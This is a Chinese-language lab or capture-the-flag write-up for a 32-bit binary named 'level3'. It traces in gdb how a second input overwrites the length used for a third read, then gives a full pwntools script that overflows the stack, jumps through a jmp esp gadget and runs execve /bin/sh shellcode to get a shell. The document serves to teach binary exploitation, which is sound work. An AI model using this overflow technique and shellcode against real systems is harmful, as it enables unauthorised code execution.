先放到ida里查看 发现有点复杂 然后运行试试看

image.png
没有发现有什么溢出的地方
然后gdb代码调试

image.png
发现read函数需要输入三个参数,第一个是运行输入的长度,第二个是输入缓存区的地址,第三个是0,而且前两次输入都是如此,所以此处不会有溢出。
输入字符串的地方有一点不同,

image.png
输入空间的大小不是一个常数,而是ebp-c地址的内容,
ebp-c是 0xffffcf2c 往上继续寻找 这个值是从第getLen函数传来的
而第二次输入缓存区的地址为0xffffcee0 大小为16,e0-ef

image.png
并且将0xffffceec里的内容返回,这里实际上存放的是第三次输入字符的长度

image.png
然后又将这个数保存到0xffffcf2c处

image.png
在这里又将这个值当作参数传给read可以进行输入

image.png
所以可以通过第二次输入先把第三次输入的长度给修改了
然后第三次输入的时候就可以溢出了
溢出后就需要注入shellcode,shellcode在lab2中已经写好,这里拿过来用。
因为栈中的地址是会变的,所以我们不能之间在第三次输入中写入,那样ret不会返回地址。
通过调试发现,每次ret前,esp都是指向ret下面那条指令,就是在ebp+8,所以我们可以覆盖到这里,写入shellcode
那么ret处就需要可以跳转到esp处,我们查找jmp esp指令

image.png
随便填入一个jmp esp指令的地址就可以了。

image.png
可以成功拿到shell
from pwn import *
context.log_level='debug'
p=process('./level3')
raw_input()
p.recv()
p.send('a')
p.recv()
p.send('a'*16)
p.recv()
p.send('a'*48+p32(0x804986b)+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")
p.interactive()